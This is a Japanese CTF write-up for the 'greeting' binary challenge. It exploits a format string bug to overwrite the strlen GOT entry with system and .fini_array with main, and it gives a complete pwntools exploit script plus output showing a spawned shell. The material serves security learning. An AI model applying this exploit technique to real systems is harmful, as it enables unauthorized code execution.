FSBを利用して何か関数をsystem関数に書き換えてあげればよさそう.
しかし,FSBを利用してsystem関数に書き換えられそうな関数がない.困った.__stack_chk_failぐらいか...?

 8048643:       e8 98 fe ff ff          call   80484e0 <sprintf@plt>
 8048648:       8d 44 24 1c             lea    eax,[esp+0x1c]
 804864c:       89 04 24                mov    DWORD PTR [esp],eax
 804864f:       e8 fc fd ff ff          call   8048450 <printf@plt>
 8048654:       eb 0c                   jmp    8048662 <main+0x75>
 8048656:       c7 04 24 e9 87 04 08    mov    DWORD PTR [esp],0x80487e9
 804865d:       e8 1e fe ff ff          call   8048480 <puts@plt>
 8048662:       8b 94 24 9c 00 00 00    mov    edx,DWORD PTR [esp+0x9c]
 8048669:       65 33 15 14 00 00 00    xor    edx,DWORD PTR gs:0x14
 8048670:       74 05                   je     8048677 <main+0x8a>
 8048672:       e8 f9 fd ff ff          call   8048470 <__stack_chk_fail@plt>
 8048677:       c9                      leave
 8048678:       c3                      ret

仕方ないので調べる.
デストラクタというものがあるらしい.exit後に.fini_arrayセクションに登録された関数が実行される.
ということで.fini_arrayをmainに書き換えてやればもう一度プログラムを走らせることが可能になる.
シェルを起動するためにはSystem関数の引数に/bin/shを指定する必要があるので,入力後に入力した値を引数に取るような関数をsystem関数に書き換えれれば都合が良い.
コードを見てみるとstrlen関数を利用すれば良さそう.

 8048695:       e8 c6 fd ff ff          call   8048460 <fgets@plt>
 804869a:       c7 44 24 04 0a 00 00    mov    DWORD PTR [esp+0x4],0xa
 80486a1:       00
 80486a2:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486a5:       89 04 24                mov    DWORD PTR [esp],eax
 80486a8:       e8 03 fe ff ff          call   80484b0 <strchr@plt>
 80486ad:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80486b0:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 80486b4:       74 06                   je     80486bc <getnline+0x43>
 80486b6:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80486b9:       c6 00 00                mov    BYTE PTR [eax],0x0
 80486bc:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486bf:       89 04 24                mov    DWORD PTR [esp],eax
 80486c2:       e8 f9 fd ff ff          call   80484c0 <strlen@plt>

Exploit

入力した値を格納する変数の位置と一緒に出力される文字列”Nice to meet you, ”の存在に気をつけながらstrlenのgotアドレスをsystem関数上書きと.fini_arrayの関数をmain関数上書きをする.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

#context.log_level = 'debug'

conn = process('./greeting')
elf = ELF('./greeting')

system_plt_addr = elf.plt['system']
strlen_got_addr = elf.got['strlen']
main_addr = elf.symbols['main']
fini_array_addr = elf.get_section_by_name('.fini_array').header.sh_addr
system_plt_addr_low = system_plt_addr & 0x000ffff
system_plt_addr_high = system_plt_addr >> 16
main_addr_low = main_addr & 0x000ffff

payload = "AA"
payload += p32(strlen_got_addr + 2) 
payload += p32(strlen_got_addr) 
payload += p32(fini_array_addr) 
payload += "%" + str(system_plt_addr_high - len(payload + "Nice to meet you, ") ) + "x"
payload += "%12$hn"
payload += "%" + str(system_plt_addr_low - system_plt_addr_high ) + "x"
payload += "%13$hn"
payload += "%" + str(main_addr_low - system_plt_addr_low ) + "x"
payload += "%14$hn"
payload += "\n"

conn.recv()
conn.send(payload)
conn.recvuntil("...")
conn.send("/bin/sh\n")
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ python exploit.py 
[+] Starting local process './greeting': pid 31373
[*] '/home/mattun-mart/Workspace/pwn/baby/greeting/greeting'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
 $ ls
core  dump  exploit.py    greeting  peda-session-greeting.txt